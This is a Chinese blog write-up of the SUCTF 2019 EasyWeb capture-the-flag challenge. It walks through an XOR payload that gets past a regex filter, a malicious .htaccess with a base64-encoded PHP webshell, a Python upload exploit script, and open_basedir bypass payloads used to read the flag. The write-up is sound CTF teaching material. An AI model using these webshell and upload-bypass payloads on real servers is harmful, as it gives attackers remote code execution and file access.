[SUCTF 2019]EasyWeb

0x00 前言

考察知识点:

  • php正则绕过(参考文章:https://blog.csdn.net/mochu7777777/article/details/104631142)
  • 文件上传木马绕过'<?'以及'exif_imagetype()'
    • '<?'的绕过:PHP5.x版本中可以使用 <script language='php'>eval($_REQUEST['shell']);</script>来绕过。
    • 配合.htaccess文件利用base64编码进行绕过(具体使用见解题过程)。
    • exif_imagetype()绕过:
      • 使用GIF89a文件头:
      #shell.php
      GIF89a
      <?php eval($_REQUEST['shell']);?>
      
      但是注意一点,如果要上传.htaccess文件绕过检测的话,使用GIF89a的文件头会导致.htaccess文件无法生效。
      • 预定义高度宽度:
      #define width 1337
      #define height 1337
      
      文件内容---
      
      这种方法可以让.htaccess文件生效,因为'#'号在.htaccess文件中是注释符,不影响文件本身内容解析。
      • 利用x00x00x8ax39x8ax39:x00x00x8ax30x8ax39是wbmp文件的文件头,0x00在.htaccess文件中同样也是注释符,不会影响文件本身。使用十六进制编辑器或者python的bytes字符类型(b'')来进行添加。payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'
  • bypass open_basedir:
    • open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
    • 绕过:https://xz.aliyun.com/t/4720
    • payload=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

0x01 解题

  1. buuoj上进入题目直接给了源码:
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

接受GET方式传入的_参数,经过正则匹配之后eval执行。并且给了一个
get_the_flag()函数,主要功能是接受上传的文件经过检测之后输出文件路径。

  1. 先尝试绕过正则匹配,可以写一个php脚本来看看哪些字符可以利用:
<?php

for($test=0;$test<256;$test++){
    if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($test))){
        echo bin2hex(chr($test)).'';
    }
}

?>

#运行结果:21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 

那么就利用这些字符来进行异或,拼接出shell

payload=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

%ff%ff%ff%ff^%a0%b8%ba%ab //异或结果为$_GET,{$_GET}{%ff}

图1

payload可以使用

  1. 调用get_the_flag()函数,传入木马。

函数源码如下:

function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!! 
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
    $tmp_name = $_FILES["file"]["tmp_name"];
    $name = $_FILES["file"]["name"];
    $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

接受我们传入的文件,会检测文件后缀名是否以ph开头,然后进一步检测文件中是否含有'<?',最后使用exif_imagetype()函数进一步过滤。

  1. 绕过:配合.htaccess文件进行base64编码绕过。下面直接给出我的exp:
import  requests
import base64

url = 'http://630ed89b-d10c-450e-a051-faa2a98a9c14.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
htaccess='''#define width 1337
#define height 1337

AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.ha"'''

files = {
    'file' : ('.htaccess',htaccess,'image/jpeg'),
}

res = requests.post(url=url,files=files)

print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>")  //GIF89a12里的12是为了符合base64解码规范而添加的

#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")

files2 = {
    'file' : ('shell.ha',shell,'image/jpeg'),
}

res = requests.post(url=url,files=files2)
print(res.text)

利用.htaccess文件将.ha后缀名的文件解析为php,本题php环境为7.2,所以无法使用<script language='php'>eval($_REQUEST['shell']);</script>这条payload,所以将shell.ha进行base64编码之后,在.htaccess文件中利用filter://协议将文件解码,从而达到传入shell的目的。

  1. 拿到文件路径:图2 访问shell.ha图3 可以看到,shell已经成功执行,蚁剑连接:图4 提示根目录下无权访问,看一下phpinfo()里的open_basedir:图5 利用之前的bypass open_basedir的payload,查看根目录下的文件:
    图6
    获得flag:图7
payload1:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));


payload2:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));

0x02 非预期解

  • 利用蚁剑的bypass disable_functions插件
  1. 在phpinfo中可以看到禁用了许多函数:图8 这也就是为什么我们第一步要调用get_the_flag()函数的原因。
  2. 蚁剑连接上shell之后,使用蚁剑的插件(需要在插件市场里下载):图9
    点击开始,打开虚拟终端,直接读取flag:图10
posted @ 2020-06-03 17:54  泠涯  阅读(1612)  评论(0编辑  收藏  举报